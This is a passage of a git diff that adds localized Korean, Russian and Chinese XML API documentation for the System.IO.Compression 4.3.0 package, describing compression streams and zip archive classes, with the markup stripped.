형식이 잘못된 경우 + 스트림이 닫혀 있는 경우 + + + 이 작업은 지원되지 않으며 항상 을 throw합니다. + long 값입니다. + 스트림 내의 위치입니다. + + 값 중 하나입니다. + 이 스트림에 이 속성이 지원되지 않는 경우 + + + 이 작업은 지원되지 않으며 항상 을 throw합니다. + 스트림의 길이입니다. + 이 스트림에 이 속성이 지원되지 않는 경우 + + + 지정된 바이트 배열에서 압축된 바이트를 내부 스트림에 씁니다. + 압축할 데이터가 들어 있는 버퍼입니다. + 바이트를 읽어올 의 바이트 오프셋입니다. + 쓸 최대 바이트 수입니다. + + + 스트림을 압축하거나 압축을 푸는 데 사용되는 메서드 및 속성을 제공합니다. + + + 지정된 스트림과 압축 수준을 사용하여 클래스의 새 인스턴스를 초기화합니다. + 압축된 데이터를 쓸 스트림입니다. + 스트림을 압축할 때 속도 또는 압축 효율을 강조할지 여부를 나타내는 열거형 값 중 하나입니다. + + 가 null인 경우 + 스트림이 압축 등의 쓰기 작업을 지원하지 않습니다.(스트림 개체의 속성이 false입니다.) + + + 지정된 스트림과 압축 수준을 사용하여 클래스의 새 인스턴스를 초기화하고 스트림을 선택적으로 연 상태로 둘 수 있습니다. + 압축된 데이터를 쓸 스트림입니다. + 스트림을 압축할 때 속도 또는 압축 효율을 강조할지 여부를 나타내는 열거형 값 중 하나입니다. + + 개체를 삭제한 후 스트림 개체를 열어 두려면 true이고, 그렇지 않으면 false입니다. + + 가 null인 경우 + 스트림이 압축 등의 쓰기 작업을 지원하지 않습니다.(스트림 개체의 속성이 false입니다.) + + + 지정된 스트림과 압축 모드를 사용하여 클래스의 새 인스턴스를 초기화합니다. + 압축되거나 압축을 푼 데이터가를 쓸 스트림입니다. + 스트림을 압축할 것인지 또는 압축 해제할 것인지를 나타내는 열거형 값 중 하나입니다. + + 가 null인 경우 + + 가 유효한 열거형 값이 아닌 경우또는가 이고 가 false인 경우또는가 이고 가 false인 경우 + + + 지정된 스트림과 압축 모드를 사용하여 클래스의 새 인스턴스를 초기화하고 스트림을 선택적으로 연 상태로 둘 수 있습니다. + 압축되거나 압축을 푼 데이터가를 쓸 스트림입니다. + 스트림을 압축할 것인지 또는 압축 해제할 것인지를 나타내는 열거형 값 중 하나입니다. + + 개체를 삭제한 후 스트림을 열어 두려면 true이고, 그렇지 않으면 false입니다. + + 가 null인 경우 + + 은(는) 올바른 값이 아닙니다.또는가 이고 가 false인 경우또는가 이고 가 false인 경우 + + + 내부 스트림에 대한 참조를 가져옵니다. + 내부 스트림을 나타내는 스트림 개체입니다. + 내부 스트림이 닫혀 있는 경우 + + + + + + 파일의 압축을 푸는 동안 스트림을 읽을 수 있는지 여부를 나타내는 값을 가져옵니다. + + 값이 Decompress,이고 내부 스트림이 읽기를 지원하며 닫혀 있지 않으면 true이고, 그렇지 않으면 false입니다. + + + + + + 스트림이 검색을 지원하는지 여부를 나타내는 값을 가져옵니다. + 모든 경우에 false입니다. + + + 스트림이 쓰기를 지원하는지 여부를 나타내는 값을 가져옵니다. + + 값이 Compress이고 내부 스트림이 쓰기를 지원하며 닫혀 있지 않으면 true이고, 이외의 경우는 false입니다. + + + + + + + 에서 사용하는 관리되지 않는 리소스를 해제하고, 관리되는 리소스를 선택적으로 해제할 수 있습니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + 이 메서드의 현재 클래스에는 기능이 없습니다. + 스트림이 닫혀 있는 경우 + + + + + + 이 속성은 지원되지 않으며 항상 을 throw합니다. + long 값입니다. + 이 스트림에 이 속성이 지원되지 않는 경우 + + + + + + 이 속성은 지원되지 않으며 항상 을 throw합니다. + long 값입니다. + 이 스트림에 이 속성이 지원되지 않는 경우 + + + + + + 압축이 풀린 바이트 수를 지정된 바이트 배열로 읽어 들입니다. + 바이트 배열에 압축이 풀린 바이트 수입니다.스트림의 끝에 도달한 경우에는 0 또는 읽은 바이트 수가 반환됩니다. + 압축이 풀린 바이트를 저장하는 데 사용되는 배열입니다. + 읽은 바이트를 넣을 의 바이트 오프셋입니다. + 읽을 최대 압축 풀린 바이트 수입니다. + + 가 null인 경우 + 개체를 만들 때 값이 Compress였던 경우또는내부 스트림이 읽기를 지원하지 않는 경우 + + 또는 가 0보다 작은 경우또는 길이에서 인덱스 시작 위치를 뺀 값이 보다 작은 경우 + 데이터의 형식이 잘못된 경우 + 스트림이 닫혀 있는 경우 + + + 이 속성은 지원되지 않으며 항상 을 throw합니다. + long 값입니다. + 스트림 내의 위치입니다. + + 값 중 하나입니다. + 이 스트림에 이 속성이 지원되지 않는 경우 + + + 이 속성은 지원되지 않으며 항상 을 throw합니다. + 스트림의 길이입니다. + 이 스트림에 이 속성이 지원되지 않는 경우 + + + 지정된 바이트 배열에서 압축된 바이트를 내부 스트림에 씁니다. + 압축할 데이터가 들어 있는 버퍼입니다. + 바이트를 읽어올 의 바이트 오프셋입니다. + 쓸 최대 바이트 수입니다. + 스트림이 닫혀 있어서 쓰기 작업을 수행할 수 없는 경우 + + + Zip 보관 파일 형식으로 압축된 파일 패키지를 나타냅니다. + + + 지정된 스트림에서 클래스의 새 인스턴스를 초기화합니다. + 읽을 보관 저장소가 포함된 스트림입니다. + The stream is already closed or does not support reading. + + is null. + The contents of the stream are not in the zip archive format. + + + 지정된 모드를 사용하여 지정된 스트림에서 클래스의 새 인스턴스를 초기화합니다. + 입력 또는 출력 스트림입니다. + Zip 보관 파일이 엔트리를 읽거나 만들기 또는 업데이트하는 데 사용되는지를 나타내는 열거형 값 중 하나입니다. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + 지정된 모드에 대해 지정된 스트림에서 클래스의 새 인스턴스를 초기화하고 스트림을 선택적으로 연 상태로 둡니다. + 입력 또는 출력 스트림입니다. + Zip 보관 파일이 엔트리를 읽거나 만들기 또는 업데이트하는 데 사용되는지를 나타내는 열거형 값 중 하나입니다. + + 개체를 삭제한 후 스트림을 열어 두려면 true이고, 그렇지 않으면 false입니다. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + 지정된 모드에 대해 지정된 스트림에서 클래스의 새 인스턴스를 초기화하고 항목 이름에 대해 지정된 인코딩을 사용하며 스트림을 선택적으로 연 상태로 둡니다. + 입력 또는 출력 스트림입니다. + Zip 보관 파일이 엔트리를 읽거나 만들기 또는 업데이트하는 데 사용되는지를 나타내는 열거형 값 중 하나입니다. + + 개체를 삭제한 후 스트림을 열어 두려면 true이고, 그렇지 않으면 false입니다. + 이 보관 파일에서 이름을 읽거나 쓰는 동안 사용할 인코딩입니다.인코딩이 항목 이름에 대해 UTF-8 인코딩을 지원하지 않는 Zip 보관 도구와 라이브러리를 사용하여 상호 운용성에 인코딩이 필요할 때만 이 매개 변수에 대한 값을 지정합니다. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Zip 보관 파일에 지정된 경로 및 항목 이름을 가진 빈 항목을 만듭니다. + Zip 보관 파일의 빈 항목입니다. + 만들 항목의 이름을 지정하는, 보관 저장소의 루트에 상대적인 경로입니다. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Zip 보관 파일에 지정된 항목 이름 및 압축 수준을 가진 빈 항목을 만듭니다. + Zip 보관 파일의 빈 항목입니다. + 만들 항목의 이름을 지정하는, 보관 저장소의 루트에 상대적인 경로입니다. + 항목을 만들 때 속도 또는 압축 효율을 강조할지를 나타내는 열거형 값 중 하나입니다. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + + 클래스의 현재 인스턴스에서 사용하는 리소스를 해제합니다. + + + + 클래스의 현재 인스턴스가 사용하는 관리되지 않는 리소스를 해제하기 위해 및 메서드에 의해 호출되며 선택적으로 보관 파일을 작성하고 관리되는 리소스를 해제합니다. + 보관 파일에 쓰기를 완료하고 관리되지 않은 리소스와 관리되는 리소스를 해제하려면 true이고, 관리되지 않은 리소스만 해제하려면 false입니다. + + + 현재 Zip 보관 파일에 있는 항목의 컬렉션을 가져옵니다. + 현재 Zip 보관 파일에 있는 항목의 컬렉션입니다. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Zip 보관 파일 항목에 대한 래퍼를 검색합니다. + 보관 저장소의 지정된 항목에 대한 래퍼이거나, 항목이 보관 저장소에 없는 경우 null입니다. + 검색할 항목을 식별하는, 보관 저장소의 루트에 상대적인 경로입니다. + + is . + + is null. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Zip 보관 파일이 엔트리에 대해 수행할 수 있는 동작의 유형을 나타내는 값을 가져옵니다. + 엔트리에 Zip 보관 파일을 보관할 수 있는 동작(읽기, 만들기 또는 업데이트) 유형을 설명하는 열거형 값 중 하나입니다. + + + Zip 보관 파일 내의 압축된 파일을 나타냅니다. + + + 엔트리가 속한 Zip 보관 파일을 가져옵니다. + 항목이 속하는 Zip 보관 파일이거나, 항목이 삭제된 경우 null입니다. + + + Zip 보관 파일에 있는 항목의 압축된 크기를 가져옵니다. + Zip 보관 파일에 있는 항목의 압축된 크기입니다. + The value of the property is not available because the entry has been modified. + + + Zip 보관 파일에서 항목을 삭제합니다. + The entry is already open for reading or writing. + The zip archive for this entry was opened in a mode other than . + The zip archive for this entry has been disposed. + + + Zip 보관 파일에 있는 항목의 상대 경로를 가져옵니다. + Zip 보관 파일에 있는 항목의 상대 경로입니다. + + + Zip 보관 파일의 항목이 마지막으로 변경된 시간을 가져오거나 설정합니다. + Zip 보관 파일의 항목이 마지막으로 변경된 시간입니다. + The attempt to set this property failed, because the zip archive for the entry is in mode. + The archive mode is set to .- or -The archive mode is set to and the entry has been opened. + An attempt was made to set this property to a value that is either earlier than 1980 January 1 0:00:00 (midnight) or later than 2107 December 31 23:59:58 (one second before midnight). + + + Zip 보관 파일에 있는 항목의 압축되지 않은 크기를 가져옵니다. + Zip 보관 파일에 있는 항목의 압축 해제된 크기입니다. + The value of the property is not available because the entry has been modified. + + + Zip 보관 파일에 있는 항목의 파일 이름을 가져옵니다. + Zip 보관 파일에 있는 항목의 파일 이름입니다. + + + Zip 보관 파일에서 항목을 엽니다. + 항목의 내용을 나타내는 스트림입니다. + The entry is already currently open for writing.-or-The entry has been deleted from the archive.-or-The archive for this entry was opened with the mode, and this entry has already been written to. + The entry is either missing from the archive or is corrupt and cannot be read. -or-The entry has been compressed by using a compression method that is not supported. + The zip archive for this entry has been disposed. + + + Zip 보관 파일에 있는 항목의 상대 경로를 검색합니다. + 항목의 상대 경로로, 속성에 저장된 값입니다. + + + Zip 보관 파일 항목과 상호 작용하기 위한 값을 지정합니다. + + + 새 보관 항목 만들기만 허용됩니다. + + + 보관 항목 읽기만 허용됩니다. + + + 보관 항목에 대해 읽기 및 쓰기 작업 모두가 허용됩니다. + + + \ No newline at end of file diff --git a/packages/System.IO.Compression.4.3.0/ref/netstandard1.3/ru/System.IO.Compression.xml b/packages/System.IO.Compression.4.3.0/ref/netstandard1.3/ru/System.IO.Compression.xml new file mode 100644 index 0000000..f901cb3 --- /dev/null +++ b/packages/System.IO.Compression.4.3.0/ref/netstandard1.3/ru/System.IO.Compression.xml @@ -0,0 +1,415 @@ + + + + System.IO.Compression + + + + Определяет значения, указывающие, для какой характеристики оптимизируется сжатие: скорость или размер. + + + Операция сжатия должна завершиться как можно быстрее, даже если результирующий файл не будет сжат оптимально. + + + Файл не требуется сжимать. + + + При операции сжатия должно применяться оптимальное сжатие, даже если это увеличивает длительность ее выполнения. + + + Задает, следует ли сжимать или распаковывать основной поток. + + + Сжимает основной поток. + + + Распаковывает основной поток. + + + Предоставляет методы и свойства для сжатия и распаковки потоков с использованием алгоритма Deflate. + + + Инициализирует новый экземпляр класса с использованием указанного потока и уровня сжатия. + Поток для сжатия. + Одно из значений перечисления, указывающее, чему отдается приоритет при сжатии потока: скорости или эффективности сжатия. + Свойство имеет значение null. + Поток не поддерживает операции записи, например сжатие.(Свойство в объекте потока имеет значение false). + + + Инициализирует новый экземпляр класса с помощью указанного потока и уровня сжатия, а также при необходимости оставляет поток открытым. + Поток для сжатия. + Одно из значений перечисления, указывающее, чему отдается приоритет при сжатии потока: скорости или эффективности сжатия. + Значение true, чтобы оставить объект потока открытым после удаления объекта ; в противном случае — значение false. + Свойство имеет значение null. + Поток не поддерживает операции записи, например сжатие.(Свойство в объекте потока имеет значение false). + + + Инициализирует новый экземпляр класса с использованием указанного потока и режима сжатия. + Поток, который нужно сжать или распаковать. + Одно из значений перечисления, указывающее, нужно ли выполнить сжатие или распаковку потока. + Свойство имеет значение null. + Параметр не является допустимым значением .-или- — и — false.-или- — и — false. + + + Инициализирует новый экземпляр класса с помощью указанного потока и режима сжатия, а также при необходимости оставляет поток открытым. + Поток, который нужно сжать или распаковать. + Одно из значений перечисления, указывающее, нужно ли выполнить сжатие или распаковку потока. + Значение true, чтобы оставить поток открытым после удаления объекта ; в противном случае — значение false. + Свойство имеет значение null. + Параметр не является допустимым значением .-или- — и — false.-или- — и — false. + + + Возвращает ссылку на основной поток. + Объект потока, представляющий основной поток. + Основной поток закрыт. + + + Возвращает значение, указывающее, поддерживает ли поток чтение во время распаковки файла. + Значение true, если значение равно Decompress, а основной поток открыт и поддерживает чтение; в противном случае — false. + + + Возвращает значение, указывающее, поддерживает ли поток поиск. + Значение false во всех случаях. + + + Возвращает значение, определяющее, поддерживает ли поток операции записи. + Значение true, если значение равно Compress, и основной поток поддерживает запись и не закрыт; в противном случае — false. + + + Освобождает неуправляемые ресурсы, используемые объектом , а при необходимости освобождает также управляемые ресурсы. + Значение true позволяет освободить как управляемые, так и неуправляемые ресурсы; значение false освобождает только неуправляемые ресурсы. + + + Текущая реализация этого метода не функциональна. + Поток закрыт. + + + + + + Это свойство не поддерживается и всегда вызывает исключение . + Значение типа long. + Для данного потока это свойство не поддерживается. + + + + + + Это свойство не поддерживается и всегда вызывает исключение . + Значение типа long. + Для данного потока это свойство не поддерживается. + + + + + + Считывает число распакованных байтов в указанный массив байтов. + Число байтов, которые были считаны в массив байтов. + Массив для хранения распакованных байтов. + Смещение в байтах в массиве , в который будут помещены считанные байты. + Максимальное число распакованных байтов для считывания. + Свойство имеет значение null. + При создании объекта значение было равно Compress.-или- Основной поток не поддерживает чтение. + Значение параметра или меньше нуля.-или-Длина массива минус начальная точка индекса меньше чем . + Недопустимый формат данных. + Поток закрыт. + + + Эта операция не поддерживается и всегда вызывает исключение . + Значение типа long. + Расположение в потоке. + Одно из значений . + Для данного потока это свойство не поддерживается. + + + Эта операция не поддерживается и всегда вызывает исключение . + Длина потока. + Для данного потока это свойство не поддерживается. + + + Записывает сжатые байты в основной поток из указанного массива байтов. + Буфер, содержащий данные для сжатия. + Смещение байтов в , из которого будут считываться байты. + Максимальное число байтов для записи. + + + Предоставляет методы и свойства, используемые для сжатия и распаковки потоков. + + + Инициализирует новый экземпляр класса с использованием указанного потока и уровня сжатия. + Поток, в который необходимо записать сжатые данные. + Одно из значений перечисления, указывающее, чему отдается приоритет при сжатии потока: скорости или эффективности сжатия. + Свойство имеет значение null. + Поток не поддерживает операции записи, например сжатие.(Свойство в объекте потока имеет значение false). + + + Инициализирует новый экземпляр класса с помощью указанного потока и уровня сжатия, а также при необходимости оставляет поток открытым. + Поток, в который необходимо записать сжатые данные. + Одно из значений перечисления, указывающее, чему отдается приоритет при сжатии потока: скорости или эффективности сжатия. + Значение true, чтобы оставить объект потока открытым после удаления объекта ; в противном случае — значение false. + Свойство имеет значение null. + Поток не поддерживает операции записи, например сжатие.(Свойство в объекте потока имеет значение false). + + + Инициализирует новый экземпляр класса с использованием указанного потока и режима сжатия. + Поток, в который записываются сжатые или распакованные данные. + Одно из значений перечисления, указывающее, нужно ли выполнить сжатие или распаковку потока. + Свойство имеет значение null. + + не является допустимым значением перечисления .-или- — и — false.-или- — и — false. + + + Инициализирует новый экземпляр класса с помощью указанного потока и режима сжатия, а также при необходимости оставляет поток открытым. + Поток, в который записываются сжатые или распакованные данные. + Одно из значений перечисления, указывающее, нужно ли выполнить сжатие или распаковку потока. + Значение true, чтобы оставить поток открытым после удаления объекта ; в противном случае — значение false. + Свойство имеет значение null. + Параметр не является допустимым значением .-или- — и — false.-или- — и — false. + + + Возвращает ссылку на основной поток. + Объект потока, представляющий основной поток. + Основной поток закрыт. + + + + + + Возвращает значение, указывающее, поддерживает ли поток чтение во время распаковки файла. + Значение true, если значение равно Decompress,, и основной поток поддерживает чтение и не закрыт; в противном случае — false. + + + + + + Возвращает значение, указывающее, поддерживает ли поток поиск. + Значение false во всех случаях. + + + Возвращает значение, определяющее, поддерживает ли поток операции записи. + Значение true, если значение равно Compress, и основной поток поддерживает запись и не закрыт; в противном случае — false. + + + + + + Освобождает неуправляемые ресурсы, используемые объектом , а при необходимости освобождает также и управляемые ресурсы. + Значение true позволяет освободить как управляемые, так и неуправляемые ресурсы; значение false освобождает только неуправляемые ресурсы. + + + Текущая реализация этого метода не функциональна. + Поток закрыт. + + + + + + Это свойство не поддерживается и всегда вызывает исключение . + Значение типа long. + Для данного потока это свойство не поддерживается. + + + + + + Это свойство не поддерживается и всегда вызывает исключение . + Значение типа long. + Для данного потока это свойство не поддерживается. + + + + + + Считывает число распакованных байтов в указанный массив байтов. + Число байтов, которые были распакованы в массив байтов.Если достигнут конец потока, возвращаемое значение представляет собой число считанных байтов или же равно нулю. + Массив, используемый для хранения распакованных байтов. + Смещение в байтах в массиве , в который будут помещены считанные байты. + Максимальное число распакованных байтов для считывания. + Свойство имеет значение null. + При создании объекта значение было равно Compress.-или-Основной поток не поддерживает чтение. + Значение параметра или меньше нуля.-или-Длина массива минус начальная точка индекса меньше чем . + Недопустимый формат данных. + Поток закрыт. + + + Это свойство не поддерживается и всегда вызывает исключение . + Значение типа long. + Расположение в потоке. + Одно из значений . + Для данного потока это свойство не поддерживается. + + + Это свойство не поддерживается и всегда вызывает исключение . + Длина потока. + Для данного потока это свойство не поддерживается. + + + Записывает сжатые байты в основной поток из указанного массива байтов. + Буфер, содержащий данные для сжатия. + Смещение байтов в , из которого будут считываться байты. + Максимальное число байтов для записи. + Операция записи не может быть выполнена, поскольку поток закрыт. + + + Представляет пакет сжатых файлов в формате ZIP архива. + + + Инициализирует новый экземпляр класса из заданного потока. + Поток, содержащий архив для чтения. + The stream is already closed or does not support reading. + + is null. + The contents of the stream are not in the zip archive format. + + + Инициализирует новый экземпляр класса из указанного потока с заданным режимом. + Входной или выходной поток. + Одно из значений перечисления, указывающее, для чтения, создания или обновления записей используется ZIP-архив. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Инициализирует новый экземпляр класса на указанном потоке для заданного режима, а также при необходимости оставляет поток открытым. + Входной или выходной поток. + Одно из значений перечисления, указывающее, для чтения, создания или обновления записей используется ZIP-архив. + Значение true, чтобы оставить поток открытым после удаления объекта ; в противном случае — значение false. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Инициализирует новый экземпляр класса на указанном потоке для заданного режима, использует указанную кодировку для кодировку для имен записей, а также, при необходимости, оставляет поток открытым. + Входной или выходной поток. + Одно из значений перечисления, указывающее, для чтения, создания или обновления записей используется ZIP-архив. + Значение true, чтобы оставить поток открытым после удаления объекта ; в противном случае — значение false. + Кодирование, используемое при чтении или записи имен записей в этом архиве.Задайте значение для этого параметра, только если кодирование требуется для взаимодействия с инструментами и библиотеками ZIP-архива, которые не поддерживают кодирование UTF-8 для имен записей. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Создает пустую запись, которая имеет указанные путь и имя записи в ZIP архиве. + Пустая запись в ZIP-архиве. + Путь относительно корня архива, который указывает имя создаваемой записи. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Создает пустую запись, которая имеет указанные имя и уровень сжатия ZIP записи в архиве. + Пустая запись в ZIP-архиве. + Путь относительно корня архива, который указывает имя создаваемой записи. + Одно из значений перечисления, указывающее, акцентировать ли внимание на скорости или эффективности сжатия при создании записи. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Освобождает ресурсы, используемые текущим экземпляром класса . + + + Вызывается методами и , чтобы освободить неуправляемые ресурсы, используемые текущим экземпляром класса . Дополнительно может заканчивать запись архива и высвобождать управляемые ресурсы. + Значение true — для завершения записи архива и освобождения управляемых и неуправляемых ресурсов; значение false — для освобождения только неуправляемых ресурсов. + + + Получает коллекцию записей, которые находятся в ZIP-архиве в текущий момент. + Коллекция записей, которые находятся в ZIP-архиве в текущий момент. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Извлекает оболочку для заданной записи в ZIP-архиве. + Программа-оболочка для определенной записи в архиве; null — если запись не существует в архиве. + Путь относительно корня архива, который указывает запись для получения. + + is . + + is null. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Получает значение, которое описывает тип действий, которые ZIP-архив может выполнять над записями. + Одно из значений перечисления, описывающее тип действия (чтение, создание или обновление), которое ZIP-архив может выполнять над записями. + + + Представляет сжатый файл внутри ZIP-архива. + + + Получает ZIP-архив, к которому принадлежит запись. + ZIP-архив, которому принадлежит запись, или значение null, если запись была удалена. + + + Получает сжатый размер записи в ZIP-архиве. + Сжатый размер записи в ZIP-архиве. + The value of the property is not available because the entry has been modified. + + + Удаляет запись из ZIP-архива. + The entry is already open for reading or writing. + The zip archive for this entry was opened in a mode other than . + The zip archive for this entry has been disposed. + + + Получает относительный путь записи в ZIP-архиве. + Относительный путь записи в ZIP-архиве. + + + Получает или задает время последнего изменения записи в ZIP-архиве. + Время последнего изменения записи в ZIP-архиве. + The attempt to set this property failed, because the zip archive for the entry is in mode. + The archive mode is set to .- or -The archive mode is set to and the entry has been opened. + An attempt was made to set this property to a value that is either earlier than 1980 January 1 0:00:00 (midnight) or later than 2107 December 31 23:59:58 (one second before midnight). + + + Получает несжатый размер записи в ZIP-архиве. + Несжатый размер записи в ZIP-архиве. + The value of the property is not available because the entry has been modified. + + + Получает имя файла записи в ZIP-архиве. + Имя файла записи в ZIP-архиве. + + + Открывает запись из ZIP-архива. + Поток, представляющий содержимое записи. + The entry is already currently open for writing.-or-The entry has been deleted from the archive.-or-The archive for this entry was opened with the mode, and this entry has already been written to. + The entry is either missing from the archive or is corrupt and cannot be read. -or-The entry has been compressed by using a compression method that is not supported. + The zip archive for this entry has been disposed. + + + Извлекает относительный путь записи в ZIP-архиве. + Относительный путь записи, который является значением, хранящимся в свойстве . + + + Определяет значения для взаимодействия с записями ZIP-архива. + + + Разрешено только создание новых записей архива. + + + Разрешено только чтение записей архива. + + + Операции чтение и запись разрешены для записей архива. + + + \ No newline at end of file diff --git a/packages/System.IO.Compression.4.3.0/ref/netstandard1.3/zh-hans/System.IO.Compression.xml b/packages/System.IO.Compression.4.3.0/ref/netstandard1.3/zh-hans/System.IO.Compression.xml new file mode 100644 index 0000000..d95c4c9 --- /dev/null +++ b/packages/System.IO.Compression.4.3.0/ref/netstandard1.3/zh-hans/System.IO.Compression.xml @@ -0,0 +1,436 @@ + + + + System.IO.Compression + + + + 指定表明是否压缩操作重点介绍速度或压缩大小的值。 + + + 即使结果文件未可选择性地压缩，压缩操作也应尽快完成。 + + + 该文件不应执行压缩。 + + + 即使操作要用更长的时间来完成，也应该可选性地压缩压缩操作。 + + + 指定是否压缩或解压缩基础流。 + + + 压缩基础流。 + + + 解压缩基础流。 + + + 提供使用 Deflate 算法压缩和解压缩流的方法和属性。 + + + 用指定的流和压缩级别初始化 类的新实例。 + 要压缩的流。 + 压缩流时，指示是否要强调速度或压缩效率的枚举值之一。 + + 为 null。 + 流不支持写入操作，如压缩。（流对象上的 属性是 false。） + + + 使用指定的流和压缩级别，初始化 类的新实例，有选择性的打开流。 + 要压缩的流。 + 压缩流时，指示是否要强调速度或压缩效率的枚举值之一。 + 如果在释放 对象之后打开流对象，则为 true；否则为 false。 + + 为 null。 + 流不支持写入操作，如压缩。（流对象上的 属性是 false。） + + + 用指定的流和压缩模式初始化 类的新实例。 + 要压缩或解压缩的流。 + 指示是要压缩还是解压缩流的枚举值之一。 + + 为 null。 + + 不是有效的 值。- 或 - 为 且 为 false。- 或 - 为 且 为 false。 + + + 使用指定的流和压缩模式，初始化 类的新实例，有选择性的打开流。 + 要压缩或解压缩的流。 + 指示是要压缩还是解压缩流的枚举值之一。 + 如果在释放 对象之后打开流，则为 true；否则为 false。 + + 为 null。 + + 不是有效的 值。- 或 - 为 且 为 false。- 或 - 为 且 为 false。 + + + 获取对基础流的引用。 + 表示基础流的流对象。 + 基础流已关闭。 + + + 获取一个值，该值指示流是否支持在解压缩文件的过程中读取文件。 + 如果 值为 Decompress 而且基础流已打开并支持读取，则为 true；否则为 false。 + + + 获取一个值，该值指示流是否支持查找。 + 在所有情况下均为 false。 + + + 获取一个值，该值指示流是否支持写入。 + 如果 值为 Compress 而且基础流未关闭并支持写入，则为 true；否则为 false。 + + + 释放由 占用的非托管资源，还可以释放托管资源。 + 若要释放托管资源和非托管资源，则为 true；若仅释放非托管资源，则为 false。 + + + 此方法的当前实现没有任何功能。 + 流已关闭。 + + + + + + 此属性不受支持，并且总是引发 。 + 一个长值。 + 此流中不支持此属性。 + + + + + + 此属性不受支持，并且总是引发 。 + 一个长值。 + 此流中不支持此属性。 + + + + + + 将若干解压缩的字节读入指定的字节数组。 + 已读入到字节数组中的字节数。 + 用于存储解压缩的字节的数组。 + + 中的字节偏移量，将在此处放置读取的字节。 + 最多要读取的解压缩字节数。 + + 为 null。 + 创建对象时 值是 Compress。- 或 - 基础流不支持读取。 + + 或 小于零。- 或 - 长度减去索引起始点小于 。 + 数据的格式无效。 + 流已关闭。 + + + 此操作不受支持，它总是引发 。 + 一个长值。 + 流中的位置。 + + 值之一。 + 此流中不支持此属性。 + + + 此操作不受支持，它总是引发 。 + 流的长度。 + 此流中不支持此属性。 + + + 从指定的字节数组中将压缩的字节写入基础流。 + 包含要压缩的数据的缓冲区。 + + 中的字节偏移量，将在此处读取字节。 + 最多写入的字节数。 + + + 提供用于压缩和解压缩流的方法和属性。 + + + 用指定的流和压缩级别初始化 类的新实例。 + 要将压缩数据写入到其中的流。 + 压缩流时，指示是否要强调速度或压缩效率的枚举值之一。 + + 为 null。 + 流不支持写入操作，如压缩。（流对象上的 属性是 false。） + + + 使用指定的流和压缩级别，初始化 类的新实例，有选择性的打开流。 + 要将压缩数据写入到其中的流。 + 压缩流时，指示是否要强调速度或压缩效率的枚举值之一。 + 如果在释放 对象之后打开流对象，则为 true；否则为 false。 + + 为 null。 + 流不支持写入操作，如压缩。（流对象上的 属性是 false。） + + + 用指定的流和压缩模式初始化 类的新实例。 + 压缩或解压缩后的数据被写入的流。 + 指示是要压缩还是解压缩流的枚举值之一。 + + 为 null。 + + 不是有效的 枚举值。- 或 - 为 且 为 false。- 或 - 为 且 为 false。 + + + 使用指定的流和压缩模式，初始化 类的新实例，有选择性的打开流。 + 压缩或解压缩后的数据被写入的流。 + 指示是要压缩还是解压缩流的枚举值之一。 + 如果在释放 对象之后打开流，则为 true；否则为 false。 + + 为 null。 + + 不是有效的 值。- 或 - 为 且 为 false。- 或 - 为 且 为 false。 + + + 获取对基础流的引用。 + 表示基础流的流对象。 + 基础流已关闭。 + + + + + + 获取一个值，该值指示流是否支持在解压缩文件的过程中读取文件。 + 如果 值为 Decompress, 而且基础流未关闭并支持读取，则为 true；否则为 false。 + + + + + + 获取一个值，该值指示流是否支持查找。 + 在所有情况下均为 false。 + + + 获取一个值，该值指示流是否支持写入。 + 如果 值为 Compress 而且基础流未关闭并支持写入，则为 true；否则为 false。 + + + + + + 释放由 占用的非托管资源，还可以释放托管资源。 + 若要释放托管资源和非托管资源，则为 true；若仅释放非托管资源，则为 false。 + + + 此方法的当前实现没有任何功能。 + 流已关闭。 + + + + + + 此属性不受支持，并且总是引发 。 + 一个长值。 + 此流中不支持此属性。 + + + + + + 此属性不受支持，并且总是引发 。 + 一个长值。 + 此流中不支持此属性。 + + + + + + 将若干解压缩的字节读入指定的字节数组。 + 解压缩到字节数组中的字节数。如果已到达流的末尾，则返回 0 或已读取的字节数。 + 用于存储解压缩字节的数组。 + + 中的字节偏移量，将在此处放置读取的字节。 + 最多要读取的解压缩字节数。 + + 为 null。 + 创建对象时 值是 Compress。- 或 -基础流不支持读取。 + + 或 小于零。- 或 - 长度减去索引起始点小于 。 + 数据的格式无效。 + 流已关闭。 + + + 此属性不受支持，并且总是引发 。 + 一个长值。 + 流中的位置。 + + 值之一。 + 此流中不支持此属性。 + + + 此属性不受支持，并且总是引发 。 + 流的长度。 + 此流中不支持此属性。 + + + 从指定的字节数组中将压缩的字节写入基础流。 + 包含要压缩的数据的缓冲区。 + + 中的字节偏移量，将在此处读取字节。 + 